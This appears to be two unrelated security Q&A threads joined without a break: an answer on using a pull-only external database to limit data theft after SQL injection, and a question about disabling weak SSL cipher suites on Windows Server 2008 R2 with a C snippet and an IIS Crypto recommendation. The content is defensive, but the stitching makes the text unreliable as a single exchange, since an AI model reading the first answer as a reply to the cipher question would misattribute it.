There are situations where an external-facing database is used to store temporary information which is "pulled" not "pushed" through a one-way firewall connection into a larger internal database then that data is deleted from the external-facing one. The purpose for this is to reduce the number of records which can be stolen at any given time yet allowing data to continue to flow into the external-facing system. That said your situation may be entirely different. If the data is the same on both sides it likely isn't for this reason but one purpose for doing something like this is because can provide an additional layer of defense in depth for the databases.

Think about the case where SQL-injection attacks go through a front end server and effectively lands an attacker, sometimes with full shell-access, onto the the database connected to web app. In the case of a single database the attacker gets everything including all records. In the case I mentioned above the attacker only has access to a tiny subset of transactional records for the time they have access to the system (hopefully this is discovered and the timeline is very short). In any case, that is one reason why you might do something like this. Again your case may vary.


Identify and disable weak cipher suites A security scan result prior to the deployment of a web application on Windows Server 2008 R2 has raised the below message :

  Weak SSL Cipher Suites are Supported

  Reconfigure the server to avoid the use of weak cipher suites. The configuration changes are server-specific.

  SSLCipherSuite HIGH:MEDIUM:!MD5!EXP:!NULL:!LOW:!ADH

  For Microsoft Windows Vista, Microsoft Windows 7, and Microsoft Windows Server 2008 remove the cipher suites that were identified as weak from the Supported Cipher Suite list by following these instructions:

  http://msdn.microsoft.com/en-us/library/windows/desktop/bb870930(v=vs.85).aspx

I've tried understanding the MSDN information but I'm totally lost in there.

First of all, I do not understand which is the cipher suite that should be removed or disabled.

Then how am I suppose to run the code given an example to remove a cipher suite?

#include <stdio.h>
#include <windows.h>
#include <bcrypt.h>

void main()
{

SECURITY_STATUS Status = ERROR_SUCCESS;
  LPWSTR wszCipher = (L"TLS_RSA_WITH_RC4_128_SHA");

Status = BCryptRemoveContextFunction(
            CRYPT_LOCAL,
            L"SSL",
            NCRYPT_SCHANNEL_INTERFACE,
            wszCipher);
}

Figuring out which cipher suites to remove can be very difficult.  For Windows, I've used the free IIS Crypto tool in the past:

IIS Crypto is a free tool that gives administrators the ability to enable or disable
protocols, ciphers, hashes and key exchange algorithms on Windows Server 2003, 2008
and 2012. It also lets you reorder SSL/TLS cipher suites offered by IIS, implement
best practices with a single click and test your website.

This not only leverages someone's expert knowledge as far as which algorithms are more or less secure, but also takes the pain of figuring out how to actually implement the change in Windows away (hint: it's a bunch of registry entries).